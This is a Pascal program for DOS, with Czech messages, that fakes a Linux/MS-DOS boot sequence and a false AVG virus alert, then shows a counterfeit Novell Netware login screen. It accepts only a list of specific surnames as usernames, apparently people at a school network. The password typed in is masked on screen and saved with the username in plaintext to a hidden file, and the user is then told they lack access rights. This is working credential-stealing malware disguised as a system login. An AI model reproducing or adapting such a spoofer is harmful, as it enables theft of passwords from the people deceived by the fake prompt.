{$M 1024,0,0}
uses crt,dos;
var i,b,c,d,e:integer;
    v,x,a:string;
    ch:char;
    f:text;

procedure hrabej;
begin
chdir('c:\');
exec('c:\command.com','/c dir c:\ > asd.asd');
end;

begin
clrscr;
writeln ('Lilo BOOT record');
hrabej;
writeln ('Starting Linux Red Hat 6.1...');
writeln;
writeln ('Rx2......Rx2...');
write ('Mouse detectet');
write ('.');
delay(200);
write ('..');
hrabej;
write ('...');
write ('Rx2..');
delay(200);
writeln;
writeln;
writeln('AVG detekovalo pametove rezidentni virus jmenem ZK v pameti! Odstranit?');
hrabej;hrabej;
ch:=upcase(ch);
writeln('Virus ZK uspesne podruhe zaveden....');
writeln;
writeln;
writeln;
writeln('....Linux start failure, starting MS-DOS 6.22.');
writeln;
writeln;
writeln;
write('Himem testuje horni pamet...');
hrabej;
writeln('hotovo');
hrabej;
writeln;
writeln;
writeln;
writeln;
writeln;
writeln;
writeln('Priprava logovani do systemu...');
hrabej;
delay(3000);
hrabej;
delay(3000);
clrscr;
textbackground(4);
textcolor(0);
window(1,1,80,3);
clrscr;
gotoxy(35,2);
write('Novell Netware');
textbackground(0);
textcolor(7);
window(1,4,80,25);
clrscr;
writeln;
write('Login: ');
repeat
readln(x);
for i:=1 to length(x) do x[i]:=upcase(x[i]);
if x = 'ZITNY' then i:=10;
if x = 'WOLLMANN' then i:=10;
if x = 'HOMOLKA' then i:=10;
if x = 'DOSTAL' then i:=10;
if x = 'DOUBEK' then i:=10;
if x = 'HOST1' then i:=10;
if i<>10 then begin writeln ('Unknown user ! ! !');halt(1);end;
until i=10;
assign(f,'c:\prog\hesla.txt');
{$I-}
reset(f);
if ioresult<>0 then rewrite(f);
{$I+}
append(f);
write('Password:');
i:=1;
repeat
ch:=readkey;
if ch in[chr(8),chr(13)] then begin end
else begin insert(ch,a,i);write('*');inc(i); end;
if ch=chr(8) then begin delete(a,i-1,1);c:=wherex;d:=wherey;if c>10 then begin gotoxy(c-1,d);write(' ');
gotoxy(c-1,d);dec(i);end;end;
until ch=chr(13);
write(f,x);
write(f,' ');
writeln(f,a);
close(f);
hrabej;hrabej;
writeln;
writeln;
writeln;
writeln;
writeln;
writeln('Nemate na tomto PC dostatek prav k tomu aby jste mohli pracovat :-))');
writeln;
delay(300);
writeln('Jste pripojeni k 386.spsselib.hiedu.cz');
writeln;
assign(f,'c:\asd.asd');
erase(f);
readln;
end.